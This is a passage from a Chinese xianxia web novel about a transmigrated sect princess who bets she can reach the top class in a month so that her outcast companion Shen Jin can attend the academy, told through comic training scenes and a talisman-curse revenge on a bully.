“娘,你这是做什么,我是说真的,我是真的想去甲班的。”凌酒酒却像有些不乐意地说:“现在距离休沐期结束不是还有一个月的时间吗?干嘛要这么快下定论。如果我在这一个月内修为精进到能去甲班了,那是不是就可以去了?”
凌云木回头与众星君们对视一眼只好道:“那就……这样吧。”
“若你真的想去,待一个月后,我与众星君就对你进行一次考核,若你通过了,我们就同意你去,可好?”
凌酒酒努着嘴巴像仔细想了想仰头应了,“行!”
周围众人也像哄小孩似的纷纷笑了。
沈烬不知道这位小宫主葫芦里卖得究竟是什么药,就一直用古怪的眼神瞟着她,总觉得她这次前来没这么简单的。
果不其然,下一秒凌酒酒便道:“对了娘,我还有一个请求。”
她扯住沈烬的衣袖将他往前带了一步,“我想沈烬陪我去!”
话落,整个场面突然更是陷入一片震愕。连沈烬都不由讶异地漾了下眼眸震惊看向她。
沈烬今天算是被凌酒酒不由分说拽来的,问她理由时她也什么都不肯说,只道:“有惊喜!如果成了你一定会开心的。”
……居然是这样?
一旁的天同星君几乎就要背过气去了
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,下意识往旁歪了一步被天梁星君扶住。天梁星君趁机小声道:“你这小徒弟,可以啊。”
天同星君抬袖擦汗。哦呦……一会儿散了会可得找天医老儿拿点护心丸才行!
“胡闹。”这头的武曲星君已然发作,凛着眉点着凌酒酒道:“你若平时任性玩笑,诸星君长辈陪你闹也便陪你闹了,怎能用这事来混闹?还不速速退去!”
七杀星君对的是沈烬,“可是你撺掇的凌酒酒如此提议?”
沈烬抿唇不语,盯着他的眸里渐泛冷意。
“诶,这还真不是他。”凌酒酒直接蹦了一步到他身前将他挡在自己身后,“就是我自己提议的!”
他个子高,她即便完完全全挡在自己身前他仍旧能露出一个头,低眸就看见她脑瓜顶的一只小蝴蝶发簪一颤一颤。
“胡闹!”武曲星君像更怒了。
凌酒酒才不理他,已经面向凌云木,“宫主,诸位星君,我不懂,为什么沈烬不能去?门中就连想继续精进修为的星从你们都是支持去长生殿旁听的,可沈烬作为门中弟子,却不能入长生殿,这是否是一种偏见偏颇?”
“宫中早有规定五年内未授予星命者当退籍离宫或退为星从,不再至长生殿进学,他今年历考后已五年期满,自然不能再去!”已经有人开口驳道:“更何况,灾星者,当初宫中未杀他已经是宽恕,若再授其术法,岂不是养虎为患肆意纵敌?”
沈烬眉眼一厉刚看过去,凌酒酒已经驳过去,“命宫全灾星者就是灾星喽?那晦气星君,据我所知‘晦气星’也是灾星,那您是什么?灾星的头头喽?”
方才说话的晦气星君一塞还没来得及再说,凌酒酒已然环顾四周又开口,“更何况,他未授星命,究竟是考授不上星命还是因为什么原由你们不予他星命?你们扪心自问,沈烬的能力,真的授不上星命吗?有些话一定要摆得这么明白来说吗?”
这一下,全场果真都没人说话了,就面面相觑地交递着视线像一时不知所从。
沈烬的资质,阖宫上下自然也是心知肚明的,哪怕他未曾入长生殿系统修习,但以他曾经的修习程度够个星官、星主之位都绰绰有余。
凌酒酒也算是了解他的实力几何,这才敢用此策略的。她此刻就听着周围一阵窸窣的讨论声得意地弯了下唇又抿住。
沈烬神色颇复杂地瞥她一眼。
凌酒酒面向了凌云木,“宫主,长生殿修习又不仅有符咒术法,更有天文地理、文学历史,总不能因为为了杜绝什么就一刀切了所有的教学吧?”
“我们栖星宫总不能有文盲的吧!!”
“更何况他现在已经入了我们天同宫不能学本命术法了,学点护身的术法又如何呢?栖星宫‘泱泱’大宫,又怎会忌惮一个‘区区’糟糕命宫弟子呢?说出去,岂不是笑掉大牙!”
话糙理不糙,一时周围不少人都露出一副一言难尽却又不知如何回驳的表情。贪狼星君彻底笑出声。
凌云木也是一副为难模样,“这……”
“娘,不如这样吧!”凌酒酒怕她拒绝,干脆率先开了口,双眼一弯像想到了个绝妙办法,“不如还是按我方才提议的,我想去甲班!”
“从现在开始,诸位星君都不要管我的功课,就由沈烬为我辅导。若我能一个月后如约通过了星君们的考核,你们就应允沈烬入长生殿,如何?”
话音落,周围一刹讨论的更加剧烈,嘈嘈杂杂半晌不停。
沈烬轻吸了一口气终于忍不住轻扯了她一下用种异常古怪的眼神睨她。
——你都不和我商量一下的吗?
凌酒酒将其解读为因太过惊喜而一时没反应过来的的愣愕,颇得意地朝他眨了下眼。
——小意思!看我的!
沈烬生无可恋般摇摇头。没救了……
不管怎么说,与“同意沈烬入长生殿”比,“凌酒酒入甲班”这一点更像是天方夜谭。
在场已有人像忍不住憋起笑来。
场面诡异地静了刹那,凌云木最后说:“好,那就依你说的。”
17.017.补课
“你你你你你这这女娃真真真的是……唉呀!”
回到天同宫后,天同星君用手点着凌酒酒的小脑袋瓜叹息跺脚,生无可恋。
凌酒酒此刻也像有些熄了火,无他,只是刚下了紫微殿后任紫依便上前用种甘拜下风的神情给她比了大拇指。
凌酒酒正还自豪自己的聪明绝顶时,任紫依已经告知了她甲班代表了什么。
“就连我,都有数次历考失利掉到乙班去的。酒酒,你很勇敢,有志者事竟成,我相信你只要努力,就一定能够达成自己的目标的,加油。”
“……”完了,完了。
这回可真是空口白牙上清华了。
“我也没想到甲班是这么难的嘛……”凌酒酒趴在桌上,哀叹兮兮,“这回好了,不用等到我入长生殿了,等这事阖宫一传开我们天同宫马上就能笑掉大牙了,师父你的金大嘴还挺开光的嘛……”
“我说的是这个吗!”泊尘要气炸,“你怎么说都不说,又在那紫微殿上先斩后奏?你是嫌你师父这老心脏跳得太慢了是吧?哎呦当时我这个心呦……”他捧住胸口,“凌酒酒呀凌酒酒,再来几次我们天同宫真的就要成笑话啦!等我这个天同星君一归西这个天同星君就你来当吧!”
“那我只是急着让他去长生殿嘛!”凌酒酒一指旁边始终沉默的沈烬。
对上他淡漠如常的眼神,凌酒酒此刻心底莫名有了点小愧疚,弱弱道:“再说……我不说,这事你们也不会有人提的,我要是不先斩后奏,师父,您会和其他星君提及这件事吗?会吗会吗?”
泊尘因这一句一下像被堵住话语,滞了两秒才用一种惭愧却又不知如何说的神情看向沈烬,“衣雪,我其实不是那个意思,我……”
“无妨,师伯。”沈烬如常淡淡地低了低眸,“我明白的。”
泊尘心下不禁更感慨说不出话了。
当初处置沈烬的时候,各宫的声音都不太一样,有以武曲星君为首主杀的、亦也有以贪狼星君为首主留的。
但大多都有些摇摆中立。
天同星君主留,可在主留中他又是不大敢出面说话的那个。天同向来处事和善,且在十四宫中的位置也较边缘化,能够在当时命处绝境时给他一线生路,已是难得。
凌酒酒这时眼珠一转忽然又想到什么点子,支棱起身,“诶师父,您就是个星君呀!到时候考核出题目您不也有其中一份的?而且您肯定在甲班待过的吧?您就放放水,私底下给我指点指点,再跟别的星君套套近乎,看能不能套套题目什么的,不就得了!”
到时候,她再找任紫依帮帮她!再找找顶喜欢她的贪狼星君帮帮忙!这么考前名师恶补,就不信她不行!诶嘿!
“你想得倒美!”泊尘扶着花白长须哼声,“老夫当年在长生殿修习的时候,压根从头到尾就没去过甲班!再说现在你这馊点子一出,其他星君见我都跟见了鬼一样地绕道走,还套近乎?呵!”
凌酒酒惊奇,“那你怎么当上星君的?!”
泊尘骄傲仰头,“咱天同宫的人少呗!”
“……”凌酒酒无语了。
一旁沉默而立的沈烬都不禁扶额低了低脸,可算知道这师徒俩一脉相承似的自信都是随谁的了。
凌酒酒一时真有些一筹莫展了,再次趴在桌上哼哼唧唧。
完了完了那这回是真完了……
就这时,沈烬忽然起身走向门口。
“明日,卯时。”
从凌酒酒身边路过时,他说。
凌酒酒恹恹愣了几秒才恍然反应过来他说的是什么意思,转头他的身影已经消失在门口。她却像突然有了点主心骨,眼神瞬亮。
-
第二天一早,凌酒酒如约到达天同殿前的广场时沈烬已经到了,一身黑色劲装负手而立在一颗古树下,身形格外挺拔。
“沈烬!”
冬季天亮得早,卯时天色更是黑黑的,只天际寥落地坠着几颗星。
吐息间还蕴着浓白的雾气。
凌酒酒今日为方便练功,换了身较轻便的束袖劲衣,脖子上缠了条毛茸茸的围脖,一头长发利落束起,整个人也像只刚化了形的毛绒小动物。
她眸光亮得像初冬染了霜的乌色葡萄,径直跑到他身前呵呵手跺跺脚。沈烬低眸静看了她片倾定声道:“你现在还有两个选择。”
?
“第一,去同星君们说放弃那个所谓的约定。”
这样,至少她还能正常入长生殿,阖宫就算传开了一点消息也不至于大面积地为人嘲笑。
自然也是目前无论从哪个方面来说都最优解。
“第二,坚持你的提议。但你落下的东西太多,去甲班的可能微乎其微,你要自知。”
不用他说,她就该知道如果失败外面会有怎样的声音。
能杀死人的从来不止是利刃还有嘲讽与言语。她若是脑子清醒就该知道该怎样权衡利弊。
“我当然是选择第二个喽!”凌酒酒几乎想都没想,小头一扬,笃然说道:“沈烬,我说了会带你去长生殿,就一定会想办法带你去的!虽然我现在落下了很多,资质嘛……也说不上多好,但是你不要小看我的潜力的!我可是很有潜力的!”
哇,她曾经能够连续熬夜一个星期啃完一整个学期的课本应付过期末考,也能生死时速一天码两万字的稿赶榜,能说不叫潜力?
不就是个修仙世界吗?不就是个甲班吗?这世界都是她创造的,不在话下!
脑中叮地响起系统的声音,【哇,宿主,你是不仅敢说谎话还敢说大话,你是真敢说啊。】
……你怎么还在啊,消失!
沈烬黑色的眸微微漾动了一下渐蹙起眉,这一刻终像有些迷茫似的自语轻喃了声:“就这么重要么。”
“什么?”凌酒酒没听清。
沈烬却闭口没再说话。
不管是他入不入长生殿也好、或是有没有人欺辱他也好;甚至他先前是不是被冤枉的、受不受刑、死不死也好……
有那么重要么?
从他碰见她开始,她好像一直在致力于不遗余力地帮他。
哪怕她那些相帮让他有时觉得微末又可笑,哪怕到现在为止有些时刻他还是为了利用她。
在他看来这世间的法则皆是利弊权衡明哲保身,命运曾予过他的所有希望到头来都只会让他付诸更大的代价,那些没由来的善意与暖意也是他承受不了的重量。
凌酒酒虽不知道他说了什么,但此刻无端心也有些感慨了,叹声说:“沈烬,多读书才能改变命运,我还是希望你能继续读书的。长生殿或许没有多好,但是……”
沈烬后来离宫后,自学了一个极特殊的术法。
那术法阴诡至极短暂时间里就让他越破了杀破狼和诸星诀的力量,这才让他成为那个世人眼中可怕的魔头。
如果……如果他能够学习到正统的术法的话,说不定,后来那一切就真的不会发生了。
沈烬凝着眸又淡淡盯了她几秒微垂睫,终于像松口似的说了声,“好。”
凌酒酒一笑。
沈烬:“那就先跑五十圈开始吧。”
凌酒酒:“……?”
你搁这军训呢?
-
五十圈跑完,凌酒酒一整个气喘吁吁,捂着肚子坐在树下说不出话。
她后悔了……她想快点放弃了。
这天同殿广场
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目测就有个八百平方米,她一个大学体侧八百米都能不及格的选手……也太难为人了吧!
沈烬负手看着此刻呼哧如牛的她不觉摇头叹息,心道她这体质果真是个连刚入门的五岁弟子都比不上的。
凌酒酒其实是感觉不到小宫主的这具身体究竟有多差的,毕竟她从穿来之后感觉她的一切都和曾经的自己毫无差异。
但可能是现代人天天熬夜久坐垃圾食品导致的现代病,所以和他们这世界的许多人比是差了点。
她正吭哧吭哧喘息间,沈烬忽然伸出指尖在她身上点了两下,她刚吸回去的一口气还没等呼出去立刻憋闷在了肺里。
沈烬:“别这么喘气,会灌了凉气,也伤内息。气沉丹元方成内息,内元调息化为灵力,试着将这股气转成灵力试试。”
凌酒酒就感觉一股气在自己身体的五脏六腑心肝脾肺来回地窜,窜得她整个人都像个胀起的气球要炸了,脸色也越来越憋红。
等到这股气终于稳住了不再难受的时候,沈烬又不知是从哪儿突然又变出一柄木剑,咔嚓丢到她脚边道:
“可还记得,飒踏?”
飒踏——栖星宫的飞行之术,乘剑而行可如飒踏流星日行万里,厉害得甚至可以御云御风。
可以说是最基本的功法了。
凌酒酒对于小宫主的记忆里自然是记得飒踏术的口诀的,但她这段日子来无论是去哪儿都是由阿雾或其他人的御剑术她蹭一下,自己还没尝试过,不由得有点虚。
“试一次,我看看。”
凌酒酒扭扭捏捏起身顶着他不容回寰的目光只好颤巍巍走到剑前,还方方正正将他扔斜的剑摆了个角度。
沈烬轻吸气别了别眼。
还挺有仪式感的。
她屏息,静气,努力让自己所有的注意力都放在这柄木剑上。
然后凝神聚力念口诀。
“风冲云岚,碧落凝纤,剑破苍穹,生生不息——起!”
一缕风过。
木剑纹丝未动。
“……”她舔舔唇角尴尬地看了看他神情复杂的眼,深吸一口气开始试第二次。
“风冲云岚!碧落凝纤!!剑破苍穹!!生生不息——起起起!!!”
“……”沈烬蹙眉按了下耳朵,“不是喊越大声越有用的。”
“……”
他指尖忽地一挥,一股如雾似雪似的灵气就在他指尖荡开,木剑也突然像被注入了灵魂倏地朝远处飞去。
而后木剑在遥远半空转了一个弯,又利落地朝这边直飞而来,剑尖直朝着凌酒酒的方向。
凌酒酒惊讶地看着那柄剑尖向自己,整个人就像被定在了原地呆若木鸡。直等到剑尖就要刺破她头的一刹那,倏地就定格在她额头两寸的位置停住。
凌酒酒惊骇盯着那个剑尖大喘气,沈烬指尖一收木剑落地。
“再试!”
这一次,凌酒酒也学着他的样子不喊了,努力咽咽口水凝神到剑上蓄力。
风冲云岚,碧落凝纤,剑破苍穹……
沈烬就看着她也不知道在跟谁较劲儿似的浑身都在发力脸色也越憋越红,不觉自己呼吸都屏住了低声,“气沉丹元,稳住内息,将你的所有气力压下来都凝聚在剑上,稳住。”
好,稳住,稳住!稳住——
她越稳越憋,越憋越红,整张脸都快要成猪肝色了。
地上的剑突然极微极微地一小幅度颤动!
正当沈烬觉得就要初见成效的时候,只见凌酒酒蓦地唇齿微张发出了一道声,“嗝~”
“……”
凌酒酒垮脸,“我的……灵气……好像嗝出去了……”
“……”
18.018.灵药
下午是文课。
天同宫的斋书堂外,天同星君和阿雾悄悄躲在窗后冒出个脑袋,泊尘小声问:“诶,诶,怎么样了啊?”
阿雾优哉游哉吸着桃花蕊抬下巴点了下远处桌上摊着的一张纸张。
只见那张纸上用锋利的笔体与朱色笔清晰写着:
武学体修,叉;
御剑飒踏,叉;
灵力符咒,叉;
本命术法,叉;
……
泊尘哼了声抚着长须转身走了,“我就说我们天同宫祖上没冒什么青烟……”
斋书堂里,沈烬正身坐在凌酒酒之前,道:“现在栖星十四宫内的甲、乙级星宫星宿的所司职能你都知晓了,但远远不够。”
先前凌酒酒在紫微殿受众星君考验一事早在诸宫都传开了,她对答如流的表现也让不少人讶异,万没想到这根骨形同废柴的小宫主在理论问题上居然这么精通。
沈烬有时也是觉得挺奇异,明明有些东西她知晓得如同炉火纯青一样,偏偏付予实践却好像一窍不通。
差异也太大了点。
沈烬手一挥,一幕巨大的浩瀚星图突然出现在两人之间。南北斗紫微十四主星、二十八星宿在眼前光芒流转。
巨大的宇宙星河都在面前仿佛凝成缩影,身临其境,光芒璀璨,浩瀚无垠。
“哇……”凌酒酒登时吃惊,轻轻探去一根指尖轻碰眼前这片光雾里的星辰。
被她一碰,所有星星就如同上了轨道有序地运转起来,黑白昼夜在眼前变换,阴阳四季逐渐变迁。好像也有无数生命生灵在眼前迅速生长与枯萎。
沈烬静静地看她盯着这片幻星雾啧啧惊奇地盯了好一会儿,才问:“看到了吗?”
凌酒酒迷茫抬头。看到什么?
沈烬对上她的清澈且愚蠢的懵懂眼神暗摇了下头,指过去,“这是栖星宫。”
幻雾里,偌大栖星宫都只凝成一个小小的点。
被无尽星河包裹着恍若尘埃。
“这是人间。”
广袤、辽阔的人间。
繁华的、烟火气的……生灵涂炭的。
沈烬道:“都说众星合一运作方维系世间万物平衡人间,你总要知道那究竟是如何运作、如何平衡的。告诉我,哪颗是天同星。”
听到提问,凌酒酒一下险些喷了,整个人杵在桌子上惊愕瞪眼。
不是吧大哥……她当时就是设定了一下但不是真的知道每颗星在哪儿啊,她又不可能因为这个去天文馆……
她试探着颤巍巍地指去一颗星。
沈烬的呼吸像微顿了一下很快像有些复杂地看了她一眼,道:“那是丧门星。”
“……”
叹了口气,他指尖一动将星图摆在某个位置换了种问法。
“一年四季可以根据辰星的运行来定,星宿一般在二月春分时运行在奎宿、娄宿之间,五月夏至时处于东井宿、舆鬼宿之间,那出现在斗宿和牵牛宿之间是什么时节?”
“……”好吧,她坦白了,她地理不大行来着。
“镇星一天运行二十八分之一度,一年运行十三又十二分之五度,那环绕一周天所需多少年?”
“……”数学也是。
“‘天道曰圆,地道曰方;方者主幽,圆者主明。’后面是什么?”
“……”古文更是了。
一问三不知地问完,沈烬直接挥袖一收将星雾收起,眼神复杂地盯了她半晌欲言又止,“你……”
“我我我我承认我现在差得有点多!但是现在还有时间的嘛!”凌酒酒抬起一截袖子挡住脸哀叹兮兮,“不过沈烬,我们真的要学这些呀?我觉得很多东西……压根就没什么用嘛!我觉得我们是不是就主要专攻术法就好了呀这些理论上的东西可以过一过的呀!”
这和她学了高数出去买菜有什么区别!
沈烬只是面无表情地看了她一会儿,很快提笔在历史、诗文、天象、纪年几项上也咔咔打了大叉。
“诶——”凌酒酒去阻止已经来不及了。
“多读点书吧。”他不由分说起身,此地不宜久留般淡声道:“多读书才能改变命运。”
“……”
-
夜晚的桃夭居烛灯长明,一道身影从窗口翻进来的时候,恰巧对上桌案前正挑灯奋笔疾书的身影。
“哇……不是吧你,沈衣雪,这么用功啊,你当年在初学堂的时候也没见过你这么用功啊,这都什么啊……”
娄金狗挑起他写完的几张纸页,一目十行地看过去,就见上面用墨丹两色笔写了许多“天文训”、“术法口诀”、“运力技巧”、等等等等……
“哇,你功力退化啦?这不都是最基础的东西?还用写出来还写得这么完完整整么……”
他边念念叨叨边在屋里溜达瞧着,某一瞬腿突然碰到什么发出“当啷”一声响,一个斜靠在桌边的不知道做什么的烧火棍一样的东西倒在地上。
立刻狐疑捡起,“这是什么?”
木棍翻过来,只见上面浅刻着一行小字:打狗棍。
立刻把棍子和纸页都胡乱撂到一旁蹦出五步远。
沈烬这一刻才终于舍得似的睨去他一眼,不咸不淡轻哂一声说:“你再啰啰嗦嗦,它就落在你身上了。”
娄金狗这才悻悻摸摸鼻子掏出新的一部分心法递给他,“喏。”
沈烬顿了一秒,看他。
他没接过,正当娄金狗看他似乎想说什么的时候,娄金狗先一步直接把它塞到他手里。
“给给给给知道了知道了!‘别偷了’,‘别来了’!我这不是嫌着这东西放赵惊堂那儿也是暴殄天物,还不如给你么!你们七杀宫也真是有意思,放着你这么个……不要,非要那个草包赵惊堂,也真是暴殄天物了……”
沈烬微抿了下唇犹豫了一下还是握紧了,道:“你说你一只……”狗。
“不看家怎么还天天偷来摸去的……”像什么话。
娄金狗不以为意,“七杀宫又不是我家喽,我又没偷到幽天阁上去,七杀宫丢东西关我幽天阁的狗什么事喽。”
“……”
挺有道理的。
他像又犹豫了什么片刻,终是说:“帮我做件事。”
娄金狗讶了下立刻颠颠上前,“什么呀什么呀?”
只见他提笔在张白纸上写下几行字,然后将纸页推到他面前,道:“帮我找这几味
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药,我没法出宫……‘病’殿的问药都需记录在案。”
娄金狗一眼扫过去见都是什么清体草、雪骨参、升灵果……
短时间内护人内息的、提升灵力的、增强记忆力的……
皆是些栖星宫内因“修为欲速则不达”而不为天医星君应肯发放的丹药。
愣了一下很快恍悟了什么眼神忽亮。
“哦!你是要给那个小宫主用吧?”
沈烬眉间一蹙还不待说话,娄金狗又颠颠凑过来八卦,“诶诶,你刚刚写那些东西也是给她的吧?我说呢!”他一拍大腿。
“现在宫里都在说她为了让你入长生殿立志要在一个月内入甲班,真的啊?那你们现在修到哪一步啦?飒踏修了吗?符咒修了吗!……用不用我再给你加点合欢丹留着你们后面双修……”
沈烬指尖一挥木棒直接飞过来。
娄金狗下一秒嗖得不见踪影只余声音,“我下次来给你呀!”
-
接下来的几天,凌酒酒每天鸡点起狗点睡,可谓比当年高考还孜孜不倦。
文课还好说,只需要死记硬背就好了,加上沈烬为她划的重点,需要彻底吃透的内容最终不过几百页。
最为让凌酒酒头疼的还是术法、符咒一类。其中以飒踏为首,她接连练习几天至多也不过是让木剑动了一下,完全没有一丝成就感。
“木剑还是基础,修行者最终要操动的还是灵剑。修者以灵力控剑,以内息控灵力,以本元护内元。你本元就虚弱,灵力气脉自然也就更弱些,操控术法的力道自然也就较别人更弱些,倒不似资质差。”
沈烬对她几日下来毫无精益的术法倒是没有指责,只在那一日看她操动得风吹一下摆动的幅度都比她控剑的幅度要大些的剑,翻手递她一枚丹药,“把它吃了。”
那丹药圆溜溜绿油油的,看上去就像颗裹了糖衣的巧克力豆。
凌酒酒好奇盯了两秒直接丢在嘴巴里嚼啊嚼。
沈烬就看她像吃山珍美味似的嚼着丹药,不咸不淡一哂,“不怕有毒?”
凌酒酒正咀嚼的动作顿了一下不以为意,“有毒就有毒喽,人生自古谁无死,不是早死就晚死,死了不用再上课考试也算早死早超生!”
沈烬对她这人生豪迈的态度还是挺佩服的,点点头转身,“继续练,今日剑不起三寸不许吃饭。”
到下午,凌酒酒一个人到北斗峰角,找了个空地开始控剑。
“风冲云岚,碧落凝纤,剑破苍穹……”
来来回回试了几遍,那木剑的幅度还是微乎其微。
甚至到后面动都不动了,安然自得地躺在地上比睡着的王八还要稳定。
凌酒酒本觉今天吃了沈烬给她的药后身体轻盈许多,以为会很大进步的,一时有些泄气,随意抹了抹汗坐在旁边开始复盘。
不多时,身旁不远处突传来一道声。
“哈哈哈!这谁啊?我们栖星宫居然有人连飒踏都不会使啊?”
“啊!原来竟是我们栖星宫的小宫主啊!”
“啊哈哈哈哈!”
凌酒酒不用看就直接翻了个白眼。
她错了,有些王八也不是一直睡着的,还长了嘴。
19.019.欺负
王八赵惊堂还不知道凌酒酒的心中已经给他归类了另一个物种,还在笑。
“哈哈哈哈!凌酒酒,听说你和众星君约定,要在一个月后入长生殿甲班,否则就应允了沈烬不能去长生殿?啊哈哈哈哈凌酒酒你还挺没自知之明的嘛?甲班有人会不使飒踏吗?你当初约定的时候是不是和星君约岔了说的怕不是初学堂的甲班吧?啊哈哈哈哈哈!”
他作势向身边的秦修卓明两人问,秦修卓明立刻就跟着尴尬地干巴巴笑两声,轻扯扯赵惊堂的衣袖示意赶紧走吧。
他每次一碰见小宫主不是倒霉便是更倒霉,居然还敢招惹的,他不害怕他们俩还怕。
凌酒酒的确也懒得理会他,原想拿剑直接走,但思忖了下还是灵巧一动指尖翻动开始结印。
秦修和卓明赶紧撒开赵惊堂的袖子连连后退数步。
漂亮的澈蓝色天同图纹在凌酒酒指尖浮荡开来,看着的确有那么几回事似的。赵惊堂蔑笑了一下却忽地抬掌一道红光打过来,直接将她掌间的天同铸打得七零八落。
凌酒酒惊讶抬眸看着四散的灵力讶异看向他。就见赵惊堂抱着臂破有几分得意似的睨着她道:“别再装了,小宫主。你以为我不知道你那大招只在你有生命危险的时候才能使出来?还想拿这招吓唬我?”
凌酒酒这一刻才突觉有点不妙,抿抿唇决定还是先走为妙。
小声嘟囔了声“王八居然也长脑子了”拿起剑转身就要走。
赵惊堂眉眼一厉这一刻却突然捏诀控起剑来,指尖一挥凌酒酒手中的木剑直接失控朝反方向飞出去。“诶——”骇得凌酒酒立刻惊讶失色去追。
“哈哈哈哈,凌酒酒!”
他跟玩她一样,等她一把跳起来就要碰到木剑的刹那又一挥手将剑操控到更远的地方去,看着凌酒酒一路小跑地追过去又重复上面的动作。
“你求我啊,你道歉啊!你只要求我说你错了,说是你不该那么对我以后不敢了,说沈烬是王八蛋!我就把它还你了,你说啊你说啊!”
说你大爷!
凌酒酒一道追了一圈有点上气不接下气,愤愤瞪他一眼咬牙继续去追。赵惊堂见状就更加迅速地操控起木剑低空飞速跑。
她猫着腰去追,一圈又一圈更笑得赵惊堂霎为得意像逗狗一样。
就这时木剑却仿佛突然注入了另一道生命力,猛地直立起来——忽疾转向赵惊堂的方向在他头顶“梆”、“梆”就敲了两下。
紧接着木剑就仿佛认了主般迅速飞向凌酒酒稳稳落在她的手上。
“哇!”凌酒酒惊讶地看着木剑突起的操作刚在想是怎么回事,就见远处的沈烬自北斗峰御风而来。
他自半空稳稳落地,风将他身上的黑色劲装衣摆吹得烈烈,颀长挺拔,阴沉冷峭,直接站在了凌酒酒身前面对着赵惊堂目色锋利又漠然。
“沈烬!”
赵惊堂捂着脑袋气急败坏地吱哇叫了两声。而凌酒酒则像突然来了主心骨般,一瞬露出笑意抱起臂仰起脑袋就跟他站在一块同仇敌忾。
“沈烬!你个叛徒!”赵惊堂还捂着猪脑袋在声声痛骂,“你到了天同宫后,还挺得心应手的哈?你以为你现在有人撑腰了就得意啦?可别忘了你本命还是个七杀宫的人!你以为现在她护着你你就能为所欲为了是吧?你也不想想莫飞澜的下场!这人水性杨花见异思迁,你就是下一个莫飞澜!等你被她抛弃的时候看你有多惨你别得意得太早了你……”
凌酒酒深吸了一口气恨不得把他那张烂嘴用狗屎堵上,沈烬却一言未发只稍一挥手,一沓空白符纸直接落到凌酒酒手上。
“我教过你什么。”沈烬眉眼冷厉对上凌酒酒错愕抬眸的眼,“试一下。”
凌酒酒愣了愣很快明白立刻一勾唇操动一张符纸开始凝气画符。远处的赵惊堂见状微惊下意识就想溜。
沈烬一伸手又凭空画了一道束身咒,一掌打过去赵惊堂立刻束在原地。赵惊堂就惊异地盯着身上让自己固定不动的咒绳连连喊:
“你你你……你们干什么你们!你——”
秦修和卓明颤巍巍躲在一旁还想悄悄开溜,沈烬一道目光过去两个人连忙像被鹰睨住的小鸡仔立定不敢动了。卓明还极自觉地自己画了道符给自己束住。
这边凌酒酒的一道符咒已经画完,然而在打过去的瞬间无数蓝光就在半空中消散。她讶异地抬眸赵惊堂也在下一瞬发出大笑。
“啊哈哈哈哈哈!凌酒酒,就你也想画咒?你那点比南斗峰雾还薄的灵力够支撑你呼吸够吗?啊哈哈哈哈哈……”
“气脉要稳,下笔要快,符文之间绝对不能断。”沈烬让她别去管外面的声音肃声道:“再试!”
凌酒酒凝息静气再试了一遍。
……还是失败。
“啊哈哈哈哈哈哈……”赵惊堂笑得几乎就要背过气去了。沈烬拿起一张符纸指走龙蛇地示范了一遍对她说:
“符咒在意不在形,不必非中规中矩地描完。下手大胆、笔端可锋利些,也好不为人破咒。”
凌酒酒缓着呼吸闭上眼将他画的符又仔细看了一遍,倏然凝气于指尖开始画第三遍——
只见一道幽蓝的光在雪白符纸上一一闪过,如游走的龙,弯折锋利的蓝色闪电,在画完的一瞬立刻曜出逼目的蓝光——
一掌打过去直接附在赵惊堂的身上!
“……!”赵惊堂还在嘎嘎笑的动静立刻卡在嗓子眼里,结舌瞪住眼。而凌酒酒也愣愣地看着自己的双手爆开一阵惊喜欢呼。
“啊啊啊啊啊成了!成了沈烬!我符咒成了!”
“啊啊啊啊啊!”
沈烬就低眸看着她异常欢喜雀跃的模样也像弯了一下唇,面对赵惊堂时又恢复了原先的冷厉。
“下咒!”
凌酒酒就悠搭踱到赵惊堂的身前审视似的绕了一圈,缓声道:“嗯……你说我下个什么咒好呢?”
赵惊堂:“唔!唔唔唔唔唔!唔!”
“你说什么?我没听清!”凌酒酒作势侧耳往他身边靠近些。
赵惊堂:“唔唔唔!唔唔唔唔!”
“哦!原来是这句呀!”凌酒酒煞有其事似的直起身,“那就下这个吧!”
沈烬就看着她装模作样的样子不由暗哂了下轻摇头。
她指尖翻动,同时口中念出咒词,“意志归我,虔
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从无疆!命你即刻听从我令——咒成!”
指尖点在方才那张咒纸上的刹那凝出蓝光一闪一闪。
赵惊堂身上的束身咒和封口咒一下便消失了,他愣了下立刻破口大骂地就要冲上前打人,“凌酒酒你——”结果下一瞬却是突然不受控制地扑通跪在地上朝着她和沈烬就一边痛哭流涕地磕起头一边说:
“呜呜呜我错了!我再也不敢了!凌酒——呜呜呜我是王八蛋!赵惊堂是王八蛋!凌酒酒你等——呜呜呜我向你们道歉!我向你们赎罪!我不敢了……沈烬!我定让你们——呜呜呜原谅我吧!原谅我这个王八蛋吧!不敢了!王八蛋不敢了……”
他应当是想破咒,却又破不开。
就一边向他们撂狠话一边骂着自己磕头赎罪。
沈烬一言难尽地看了会儿视线又落回凌酒酒心情复杂。也挺狠的……
不远处的秦修和卓明也不忍直视别过脸,没眼看。
凌酒酒哈哈哈乐得仿佛要开了花,突然又手操动一张轻飘飘的符纸飞出去,命令,“去!狗叫追过去!”
赵惊堂就忽然“嗷嗷嗷汪汪汪”地连蹦带爬地追过去,当真像个狗变的人在地上绕起圈。
“凌酒……嗷嗷嗷嗷嗷!凌酒酒!!汪汪汪汪汪!凌——嗷嗷嗷嗷嗷嗷嗷!!!”
凌酒酒笑得前仰后合,等玩够了,终于停下来。而赵惊堂也真的像个狼狈的落汤狗披头散发一喘一息瞪着她。
凌酒酒居高临下悠悠观察了他一圈啧啧道:“这么大的一张大饼脸……要是不写副对联好像有点可惜了哈?要不……”
她杏眸滴溜溜地转了圈像想到什么狡黠一笑,摸了身上才意识什么,又讪讪跑到沈烬身边眼巴巴道:“那个……化物咒我肯定不行……”
沈烬像无奈,“需要什么?”
“毛笔。”
他空手在半空一划,一道繁杂的红色光咒在半空浮开,紧接着手一挥一支毛笔已经落在她手掌之间。
凌酒酒见状极兴奋地接过来塞到赵惊堂手里。
赵惊堂还一脸愤懑地瞪着她,却说不出话。凌酒酒勾着唇笑意狡黠命令他道:“你,自己写!就写……”
……
赵惊堂回到七杀宫的时候,还在哭天抢地,鬼泣神嚎。
“师父!师父!”
“求师父为徒儿做主啊师父!小宫主凌酒酒和沈烬合起伙来欺负我们七杀宫弟子!求师父做主!”
他一道从七杀宫的宫门到大殿,整个人蓬头垢面、神头鬼脸。
一道弟子纷纷侧目,看见他脸上写得字时更是忍俊不禁笑出声。
“笑笑笑!都笑什么笑!滚!”
赵惊堂气急败坏地骂走了几个星从和师弟妹,连滚带爬到七杀殿。守殿的师弟也瞠目结舌地看着他拦路道:“赵师兄,您不能进去!里面正……”
“滚!”
赵惊堂挥手撵走了他,不由分说一把推开殿门就跪下去,双手伏地大拜了一礼就哭嚎道:“师父!求您为我做主!!”
面前却许久没传来声音。
正当他心生疑惑悄悄抬头一探究竟的时候——双眸瞳孔瞬间放大。
20.020.报复
